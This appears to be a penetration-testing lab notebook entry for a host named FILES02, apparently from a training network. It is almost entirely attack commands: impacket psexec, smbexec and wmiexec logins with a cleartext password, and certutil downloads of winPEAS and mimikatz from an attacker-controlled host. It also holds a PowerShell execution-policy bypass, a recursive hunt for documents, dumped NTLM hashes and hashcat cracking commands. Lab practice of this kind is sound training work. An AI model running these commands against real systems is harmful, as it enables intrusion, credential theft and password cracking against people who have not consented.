172.16.174.11 (FILES02)

Flags Obtained

Local:
    3d5208df7f2f9f5a73806be2b7dbaf8a
    
Root:
    e878907291afa80bba9c480629ecf297

Access method

Gain administrative access
    proxychains impacket-psexec medtech.com/joe:Flowers1@172.16.116.11
    proxychains impacket-smbexec medtech.com/joe:Flowers1@172.16.116.11

Gain basic user access
    proxychains impacket-wmiexec medtech.com/joe:Flowers1@172.16.116.11

Enumeration

systeminfo
whoami
whoami /groups
whoami /priv

Admin Enumeration

certutil -urlcache -split -f http://192.168.45.239/winPEASx64.exe C:\Users\Administrator\Documents\WinPEASx64.exe
WinPEASx64.exe

certutil -urlcache -split -f http://192.168.45.239/mimikatz.exe C:\Users\Administrator\Documents\mimikatz.exe
mimikatz.exe

powershell -ep bypass
Get-ChildItem -Path C:\Users -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*ini,*.log -File -Recurse -ErrorAction SilentlyContinue

NTLM Hashes found
    daisy: abf36048c1cf88f5603381c5128feb8e
    toad: 5be63a865b65349851c1f11a067a3068
    wario: fdf36048c1cf88f5630381c5e38feb8e
    goomba: 8e9e1516818ce4e54247e71e71b5f436

On Kali machine:
    hashcat -m 1000 "abf36048c1cf88f5603381c5128feb8e" rockyou.txt --force
    
    hashcat -m 1000 "fdf36048c1cf88f5630381c5e38feb8e" rockyou.txt --force